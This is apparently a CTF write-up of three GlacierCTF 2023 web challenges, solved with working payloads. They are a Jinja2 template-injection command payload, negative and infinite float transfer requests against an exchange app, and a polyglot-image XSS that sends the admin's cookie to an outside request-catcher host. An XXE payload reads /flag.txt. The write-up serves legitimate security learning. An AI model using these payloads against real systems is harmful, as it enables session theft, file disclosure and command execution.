# Glacier CTF 2023 | Category | Challenge Name | | -------- | -------------- | | Web | My first Website | | Web | Glacier Exchange | | Web | Peak | ## My first Website ### Background ``` I just created my first website! You can even do some calculations! Don't forget to check out my other projects! author: Chr0x6eOs https://myfirstsite.web.glacierctf.com ``` ![image](https://hackmd.io/_uploads/H1ea2OlHp.png) ### Enumeration ![image](https://hackmd.io/_uploads/rkJSROer6.png) The website has the functionality to input two numbers and perform a calculation. ![image](https://hackmd.io/_uploads/SJ9DRuxBp.png) Continue by clicking 'here' to view the details of other project on the website. ![image](https://hackmd.io/_uploads/By91xFgra.png) I realize that when accessing /projects, the name of it is also displayed. Ohhh, it seems like that might be [Server-Side Template Injection](https://portswigger.net/web-security/server-side-template-injection) (SSTI). ### Exploitation I perform a test injection with `{{7*7}}` The result I received is 49. So, the next step is to test what server is currently being executed. ![image](https://hackmd.io/_uploads/SksZGtgST.png) Reference link: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection https://hackmd.io/@onsra03/By77nbQv2 (SSTI) If you want to understand how the payload works, please refer to the write-up link I provided. OK, continuing with fuzzing, I discovered that the website uses Jinja2 templates. ![image](https://hackmd.io/_uploads/SkTo7Fxr6.png) Now I will execute commands and search for the flag file. With payload: `{{cycler.__init__.__globals__.os.popen('command inject').read()}}` ![image](https://hackmd.io/_uploads/H1g2LFxB6.png) Solution: `{{cycler.__init__.__globals__.os.popen('cat /flag.txt').read()}}` ![image](https://hackmd.io/_uploads/SJ9pUKxHT.png) ## Glacier Exchange ### Background ``` We have launched a new revolutionary exchange tool, allowing you to trade on the market and hanging out with your rich friends in the Glacier Club. Only Billionaires can get in though. Can you help me hang out with lEon sMuk? https://glacierexchange.web.glacierctf.com authors: hweissi & xsskevin ``` ![image](https://hackmd.io/_uploads/r1U7dtxSa.png) Download src: [Here](https://github.com/onsra03/WriteUp_CTF/tree/main/GlacierCTF%202023) ### Enumeration: ![image](https://hackmd.io/_uploads/BJExsKlH6.png) ![image](https://hackmd.io/_uploads/rkkbiKlHa.png) The website has a currency conversion feature allowing you to convert values from one currency to another. I have 1000 Coins cashout, and I will try to transfer 1 coin to Doge. ![image](https://hackmd.io/_uploads/SkIFiKgH6.png) Request header: ![image](https://hackmd.io/_uploads/HJh_jKlB6.png) OK, next, let's take a look at the provided source code. ```ter= ┌─[onsra@PhamHoAnhDung] - [/mnt/d/CTF/2023/Glacier/glacier_exchange/chall] - [4656] └─[$] ls -lah [15:58:31] total 4.0K drwxrwxrwx 1 onsra onsra 4.0K Nov 26 15:58 . drwxrwxrwx 1 onsra onsra 4.0K Nov 25 01:04 .. drwxrwxrwx 1 onsra onsra 4.0K Nov 6 20:12 assets -rwxrwxrwx 1 onsra onsra 19 Nov 6 20:12 requirements.txt -rwxrwxrwx 1 onsra onsra 3.3K Nov 25 13:34 server.py drwxrwxrwx 1 onsra onsra 4.0K Nov 6 20:12 src drwxrwxrwx 1 onsra onsra 4.0K Nov 6 20:12 templates ``` ```ter= ┌─[onsra@PhamHoAnhDung] - [/mnt/d/CTF/2023/Glacier/glacier_exchange/chall] - [4659] └─[$] ls src [16:11:31] coin_api.py wallet.py ``` In the `server.py` file, you will find the APIs responsible for implementing the money transfer functionality. ```python= @app.route('/api/data/fetch/<path:coin>') def fetch(coin: str): data = get_coin_price_from_api(coin) return jsonify(data) app.route('/api/wallet/transaction', methods=['POST']) def transaction(): payload = request.json status = 0 if "sourceCoin" in payload and "targetCoin" in payload and "balance" in payload: wallet = get_wallet_from_session() status = wallet.transaction(payload["sourceCoin"], payload["targetCoin"], float(payload["balance"])) return jsonify({ "result": status })@ @app.route("/api/wallet/join_glacier_club", methods=["POST"]) def join_glacier_club(): wallet = get_wallet_from_session() clubToken = False inClub = wallet.inGlacierClub() if inClub: f = open("/flag.txt") clubToken = f.read() f.close() return { "inClub": inClub, "clubToken": clubToken } @app.route('/api/wallet/balances') def get_balance(): wallet = get_wallet_from_session() balances = wallet.getBalances() user_balances = [] for name in balances: user_balances.append({ "name": name, "value": balances[name] }) return user_balances @app.route('/api/fetch_coins') def fetch_coins(): return jsonify([ { ... }, ]) ``` Note that here: - To obtain the flag, we need to fulfill the condition: `inClub = wallet.inGlacierClub()` - `float(payload["balance"])` In file `src/wallet.py`: ```python= import threading class Wallet(): def __init__(self) -> None: self.balances = { "cashout": 1000, "glaciercoin": 0, "ascoin": 0, "doge": 0, "gamestock": 0, "ycmi": 0, "smtl": 0 } self.lock = threading.Lock(); def getBalances(self): return self.balances def transaction(self, source, dest, amount): if source in self.balances and dest in self.balances: with self.lock: if self.balances[source] >= amount: self.balances[source] -= amount self.balances[dest] += amount return 1 return 0 def inGlacierClub(self): with self.lock: for balance_name in self.balances: if balance_name == "cashout": if self.balances[balance_name] < 1000000000: return False else: if self.balances[balance_name] != 0.0: return False return True ``` So initially, we have cashout = 1000 And `inClub` is true when: - cashout > 1000000000 - And the remaining coins are 0.0 In this challenge, I have two ideas: 1. Race condition the money transfer function: My script: ```python= import requests from threading import Thread url = "https://glacierexchange.web.glacierctf.com/" session = requests.Session() burp0_cookies = {"session": "eyJpZCI6IjVxR2hsNFlUS2xHQzZRYUNsdUIzdVEifQ.ZWGFIg.o8nqpbXt80UTdGtNx1iWeAc0Wcs"} def trade1(): while True: burp0_json={"balance": 1000, "sourceCoin": "cashout", "targetCoin": "doge"} session.post(url + "/api/wallet/transaction", cookies=burp0_cookies,json=burp0_json) def trade2(): while True: burp0_json={"balance": 1000, "sourceCoin": "doge", "targetCoin": "cashout"} session.post(url + "/api/wallet/transaction", cookies=burp0_cookies,json=burp0_json) for i in range(1000): print(i,end="\r") # thread = Thread(target = trade2) thread1 = Thread(target = trade1) # thread.start() thread1.start() ``` But it failed 2. Transfer a negative amount or potentially use `INF` and `NaN` values. So, how are we going to do it? As I mentioned, we will focus on exploiting float type casting during money transfers ### Exploitation The first step is to perform a transfer with a negative amount. ![image](https://hackmd.io/_uploads/BJ8qv5xSa.png) And check /api/wallet/balances: ![image](https://hackmd.io/_uploads/ByiKvcgST.png) ![image](https://hackmd.io/_uploads/rJThD9gHT.png) So, we achieve the first condition: `cashout > 1000000000` Becase: ```python= if self.balances[source] >= amount: self.balances[source] -= amount self.balances[dest] += amount return 1 ``` The code only checks if the transferred amount is greater than the current balance. If it is, it subtracts that amount from the current balance. So: 1000 - (-99999999999999999) = 1.00000000000001e+17 ![image](https://hackmd.io/_uploads/r1H0Ocer6.png) Subtracting a negative amount is equivalent to adding that amount 🤣 It's logic bug... Next, to make the doge Coin return to 0, what do we need to do? ```bash= >>> float(-99999999999999999) - float(-1e230) 1e+230 >>> float(-99999999999999999) > float(-1e230) True ``` 1e230 = 1×10^230 It means that when we perform a subtraction with a very large negative number, it will effectively add that number to the current balance. It will then cast the result to the maximum representable number. Execute the following steps: http request: ```json= {"sourceCoin":"doge","targetCoin":"ascoin","balance":"-1e230"} ``` And we get the result: ```json= [ {"name":"cashout","value":1.00000000000001e+17}, {"name":"glaciercoin","value":0}, {"name":"ascoin","value":-1e+230}, {"name":"doge","value":1e+230}, {"name":"gamestock","value":0}, {"name":"ycmi","value":0}, {"name":"smtl","value":0} ] ``` Finally, we just need to transfer `1e+230` from `Doge` to `Ascoin` ```json= {"sourceCoin":"doge","targetCoin":"ascoin","balance":"1e230"} ``` ![image](https://hackmd.io/_uploads/B1CJT5xSa.png) Got flag: ![image](https://hackmd.io/_uploads/rJEWp5xHa.png) `gctf{PyTh0N_CaN_hAv3_Fl0At_0v3rFl0ws_2}` Solution 2 from [Kaiziron](https://github.com/Kaiziron/glacierctf2023_solution/blob/main/glacier_exchange/solve.py): ```python= import requests session = requests.session() burp0_url = "https://glacierexchange.web.glacierctf.com:443/api/wallet/transaction" burp0_json={"balance": "-inf", "sourceCoin": "cashout", "targetCoin": "cashout"} res = session.post(burp0_url, json=burp0_json) print(res.text) burp0_url = "https://glacierexchange.web.glacierctf.com:443/api/wallet/join_glacier_club" res = session.post(burp0_url) print(res.text) ``` ## Peak ### Background ``` Within the heart of Austria's alpine mystery lies your next conquest. Ascend the highest peak, shrouded in whispers of past explorers, to uncover the flag.txt awaiting atop. Beware the silent guards that stand sentinel along the treacherous path, obstructing your ascent. author: Chr0x6eOs https://peak.web.glacierctf.com ``` Download src: [Here](https://github.com/onsra03/WriteUp_CTF/tree/main/GlacierCTF%202023) ![image](https://hackmd.io/_uploads/By7Y0ceHa.png) ![image](https://hackmd.io/_uploads/H1eqZ1ilSp.png) ### Enumeration: This challenge might have an unintended solution, but I'll solve it using the intended method first. ```bash= ┌─[onsra@PhamHoAnhDung] - [/mnt/d/CTF/2023/Glacier/peak/dist] - [4660] └─[$] ls -lah [17:34:06] total 0 drwxrwxrwx 1 onsra onsra 4.0K Nov 22 05:09 . drwxrwxrwx 1 onsra onsra 4.0K Nov 25 01:07 .. drwxrwxrwx 1 onsra onsra 4.0K Oct 27 19:29 admin-simulation drwxrwxrwx 1 onsra onsra 4.0K Nov 22 05:18 .docker -rwxrwxrwx 1 onsra onsra 308 Nov 25 01:40 docker-compose.yml drwxrwxrwx 1 onsra onsra 4.0K Nov 2 00:23 flag -rwxrwxrwx 1 onsra onsra 0 Nov 22 05:19 sqlite.db drwxrwxrwx 1 onsra onsra 4.0K Nov 22 05:19 web ``` In the docker-compose building file docker-compose.yml, we can see how the docker containers were built: ```dockerfile= version: "3" services: web: build: context: . dockerfile: .docker/Dockerfile-web image: webserver container_name: webserver restart: always hostname: webserver environment: ADMIN_PW: example-password HOST: http://localhost ports: - "80:80" ``` And: ```dockerfile= FROM tobi312/php:8.1-apache WORKDIR /var/www/html COPY ./web/ /var/www/html/ COPY ./flag/flag.txt / RUN mkdir -p /var/sqlite/ COPY ./sqlite.db /var/sqlite/ RUN chown -R 33:33 /var/sqlite/ RUN chmod 750 /var/sqlite/sqlite.db RUN mkdir -p /var/www/html/uploads/ RUN chown 33:33 /var/www/html/uploads/ RUN chmod -R 777 /var/www/html/uploads/ USER root RUN ln -s /dev/null /root/.bash_history ARG DEBIAN_FRONTEND=noninteractive RUN apt-get update && apt-get install -y \ python3 python3-pip curl unzip wget cron util-linux \ fonts-liberation libasound2 libatk-bridge2.0-0 procps \ libnss3 lsb-release xdg-utils libxss1 libdbus-glib-1-2 \ libcairo2 libcups2 libgbm1 libgtk-3-0 libpango-1.0-0 \ libu2f-udev libvulkan1 libxkbcommon-x11-0 xvfb RUN CHROMEDRIVER_VERSION=`curl -sS https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE` && \ wget -q -O chromedriver_linux64.zip https://edgedl.me.gvt1.com/edgedl/chrome/chrome-for-testing/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip && \ unzip chromedriver_linux64.zip && mv chromedriver-linux64/chromedriver /usr/bin/ && \ chmod +x /usr/bin/chromedriver && \ rm chromedriver_linux64.zip && rm -r chromedriver-linux64 RUN CHROME_SETUP=google-chrome.deb && \ wget -q -O $CHROME_SETUP "https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb" && \ dpkg -i $CHROME_SETUP && \ apt-get install -y -f && \ rm $CHROME_SETUP RUN rm /usr/lib/python3.11/EXTERNALLY-MANAGED RUN python3 -m pip install selenium urllib3 python-decouple requests bs4 pyvirtualdisplay COPY ./admin-simulation/ /root/admin_simulation RUN echo '#!/bin/bash' > /entrypoint.d/simulation.sh RUN echo 'echo "$(env | grep "HOST=.*")" >> /etc/environment' >> /entrypoint.d/simulation.sh RUN echo 'echo "$(env | grep "ADMIN_PW=.*")" >> /etc/environment' >> /entrypoint.d/simulation.sh RUN echo 'service cron start' >> /entrypoint.d/simulation.sh RUN chmod +x /entrypoint.d/simulation.sh RUN echo '* * * * * root /usr/bin/flock -w 0 /var/cron.lock python3 /root/admin_simulation/admin.py "$ADMIN_PW" > /var/log/admin_simulation.log 2> /var/log/admin_simulation.error' >> /etc/crontab ``` There are two things to note here: - The flag is located at the root, named flag.txt. - CHROMEDRIVER is installed, indicating the use of a bot check ![image](https://hackmd.io/_uploads/SJ74FjxST.png) Overview of the source code is as follows: - Interactions with the website's index.php will involve files in the /pages folder. - Files in the /includes folder will be included in various files. - Files in the /actions folder will be executed when functionalities like login, register, logout, etc., are performed. - The `admin.py` file in the admin-simulation folder handles the login with the 'admin' account and access when we send a contact. - The /admin is accessible only when you have an admin role; otherwise, you will be logged out. And file .htaccess: ```php= # Disable PHP execution in this directory php_flag engine off ``` In file /includes/config.php: We see password admin, but it hashed, and cant crack it: ```php= $commands = [ 'CREATE TABLE IF NOT EXISTS `users` (`id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, `username` varchar(255) NOT NULL UNIQUE, `password` varchar(255) NOT NULL, `role` varchar(255) NOT NULL default "user");', 'CREATE TABLE IF NOT EXISTS `messages` (`id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, `title` varchar(255) NOT NULL, `content` varchar(512) NOT NULL, `file` varchar(512) NOT NULL default "", `created_at` timestamp default CURRENT_TIMESTAMP NOT NULL, `viewed` BOOLEAN DEFAULT 0, `user_id` INTEGER unsigned NOT NULL, FOREIGN KEY (`user_id`) REFERENCES users(`id`) ON DELETE CASCADE);', 'INSERT INTO `users` (`username`, `password`, `role`) VALUES ("admin", "$2y$10$yerhXWb8EZR4MBHT0oOm2e1S2lTheH4zHOWqRIKTKEuVMyiL1Mtl6", "admin");' ]; ``` Let's analyze the files inside the /actions folder together: In the three files: login.php, logout.php, and register.php, functionalities are implemented as indicated by their names, and there don't seem to be any vulnerabilities here. File contact.php: ```php= <?php include_once "../includes/session.php"; function cleanup_old_files() { $currentTimestamp = time(); $uploadsDirectory = "../uploads"; $files = scandir($uploadsDirectory); if(sizeof($files) > 0) { foreach ($files as $file) { if ($file !== '.' && $file !== '..' && $file !== '.htaccess') { $filePath = $uploadsDirectory . '/' . $file; if (is_file($filePath)) { $fileTimestamp = filemtime($filePath); $timeDifference = $currentTimestamp - $fileTimestamp; // Check if the file is older than 5 minutes (300 seconds) if ($timeDifference > 300) unlink($filePath); } } } } } try { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_SESSION['user']) && $_SESSION['user']['role'] !== "admin") { if(isset($_POST['title']) && isset($_POST['content'])) { cleanup_old_files(); $target_file = ""; if(isset($_FILES['image']) && $_FILES['image']['name'] !== "") { $targetDirectory = '/uploads/'; $timestamp = microtime(true); $timestampStr = str_replace('.', '', sprintf('%0.6f', $timestamp)); $randomFilename = uniqid() . $timestampStr; $targetFile = ".." . $targetDirectory . $randomFilename; $imageFileType = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION)); $allowedExtensions = ['jpg', 'jpeg', 'png']; $check = false; try { $check = @getimagesize($_FILES['image']['tmp_name']); } catch(Exception $exx) { throw new Exception("File is not a valid image!"); } if ($check === false) { throw new Exception("File is not a valid image!"); } if (!in_array($imageFileType, $allowedExtensions)) { throw new Exception("Invalid image file type. Allowed types: jpg, jpeg, png"); } if (!move_uploaded_file($_FILES['image']['tmp_name'], $targetFile)) { throw new Exception("Error uploading the image! Try again! If this issue persists, contact a CTF admin!"); } $target_file = $targetDirectory . $randomFilename; } $title = $_POST['title']; $content = $_POST['content']; $user_id = $_SESSION['user']['id']; $sql = $pdo->prepare("INSERT INTO messages (title, content, file, user_id) VALUES (:title, :content, :file, :user_id)"); $sql->bindParam(':title', $title, PDO::PARAM_STR); $sql->bindParam(':content', $content, PDO::PARAM_STR); $sql->bindParam(':user_id', $user_id, PDO::PARAM_INT); $sql->bindParam(':file', $target_file, PDO::PARAM_STR); try { $sql->execute(); } catch (PDOException $e) { throw new Exception("Could not create request. Please try again! If this issue persists, contact a CTF admin!"); } $_SESSION['success'] = "Message received! An admin will handle your request shortly. You can view your request <a name='message' href='/pages/view_message.php?id=" . $pdo->lastInsertId() ."'>here</a>"; } } } catch(Exception $ex) { $_SESSION['error'] = htmlentities($ex->getMessage()); } header('Location: /pages/contact.php'); ``` - Main Code: This part checks if the request method is POST, if the user is logged in, and if the user is not an admin. If these conditions are met, it processes the form data. - Includes Session Handling: Includes a file ("session.php") for managing sessions and user authentication. - Function to Cleanup Old Files: Defines a function (cleanup_old_files()) to remove files in a directory older than 5 minutes. - Main Form Submission Handling: Checks if the request is a POST request from a non-admin user. Checks if the uploaded file is a valid image (based on extension and content), moves the uploaded file to a specified directory, and sets the $target_file variable with the path to the uploaded file. The form data (title, content, user_id, and file) is retrieved from the POST request, and an SQL INSERT query is prepared and executed to insert the data into a database table named "messages." - Success and Exception Handling: If the database insertion is successful, a success message is stored in the session. If an exception occurs during the execution of the try block, it catches the exception, stores the error message in the session (after HTML encoding it), and continues with the redirect. - Redirects: Finally, the user is redirected to the "/pages/contact.php" page, regardless of whether the form submission was successful or encountered an error. The appropriate message (success or error) will be displayed on the redirected page based on the session variables set earlier. Let's focus on the code in the next two files: In file `/pages/view_message.php` ```php= <?php if (isset($message)): ?> <h1><?php echo htmlentities($message['title']);?></h1> <p><?php echo $message['content']; ?> <?php if($message['file'] !== "") : ?> <div> <img name="image" src="<?php echo $message['file']?>"> </div> <?php endif;?> <?php endif; ?></p> ``` And file /includes/csp.php: ```php= <?php header("Content-Security-policy: script-src 'self'"); ?> ``` So, we can see an XSS vulnerability with the content, and this challenge has the additional challenge of Content Security Policy (CSP) Assuming we have the admin's session, what would be the next step? In file /admin/map.php: We see: `libxml_disable_entity_loader(false)` Ohhhh, it seems like the next step might involve XML External Entity (XXE) injection. ### Exploitation Follow the exploit as follows: - Step 1: Send a contact, and the admin will automatically access it (However, we need to bypass CSP). - Step 2: After obtaining the admin session, proceed to the next step, injecting XML to leak the flag file (we know it's in the root) How do we plan to bypass CSP? ``` script-src: This is a directive that controls the sources from which scripts can be executed. 'self': This value restricts the execution of scripts to the same origin (i.e., scripts hosted on the same domain as the web page). ``` In simple terms, this Content Security Policy is instructing the browser to only allow the execution of scripts that originate from the same domain as the web page. Any attempt to execute scripts from external domains or inline scripts would be blocked. Reference the following link before proceeding with the exploitation: - https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs - https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass#file-upload-+-self Exploiting the image upload function in the contact feature, we will insert XSS code into it. In the content section, we will call the image file to execute XSS. I'm using the [tool](https://github.com/s-3ntinel/imgjs_polygloter) to create an image containing the XSS script Use command: ``` ./img_polygloter.py jpg --height 123 --width 321 --payload "document.location='http://ipkhck67.requestrepo.com/?cc='+document.cookie" --output a.png ``` Then, we will upload the image we just created and retrieve the image link ![image](https://hackmd.io/_uploads/B17rCnlra.png) ![image](https://hackmd.io/_uploads/SytPn2eS6.png) Next, we will upload the second image with the following content: `<script charset="ISO-8859-1" src="/uploads/link-your-img"></script>` ![image](https://hackmd.io/_uploads/ryUc63xBT.png) We will obtain the admin's session. And change session to login admin: ![image](https://hackmd.io/_uploads/HkF6kpeHT.png) Finally, as analyzed before, we will go to edit map, performed in the map.php file ![image](https://hackmd.io/_uploads/SJoQx6eHp.png) Payload: ```xml= <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY file SYSTEM "file:///flag.txt"> ]> <markers> <marker> <lat>47.0748663672</lat> <lon>12.695247219</lon> <name>&file;</name> </marker> </markers> ``` ![image](https://hackmd.io/_uploads/B1hTlaeB6.png) Flag: `gctf{Th3_m0unt4!n_t0p_h4s_th3_b3st_v!3w}` And I will now mention the unintended part of this challenge: When we directly access /admin/map.php in the browser without an admin role, we will be logged out. However, when we do it through Burp Suite, we will not follow its redirection. So, by directly accessing /admin/map.php with a session that doesn't have an admin role, we can still edit it directly and retrieve the flag. Demo: Role admin: ![image](https://hackmd.io/_uploads/HJuMf6lBT.png) I will change session: ![image](https://hackmd.io/_uploads/HJsSMaeBT.png) ## Conclusion Thank you to the author and the organizers for creating such a fantastic CTF.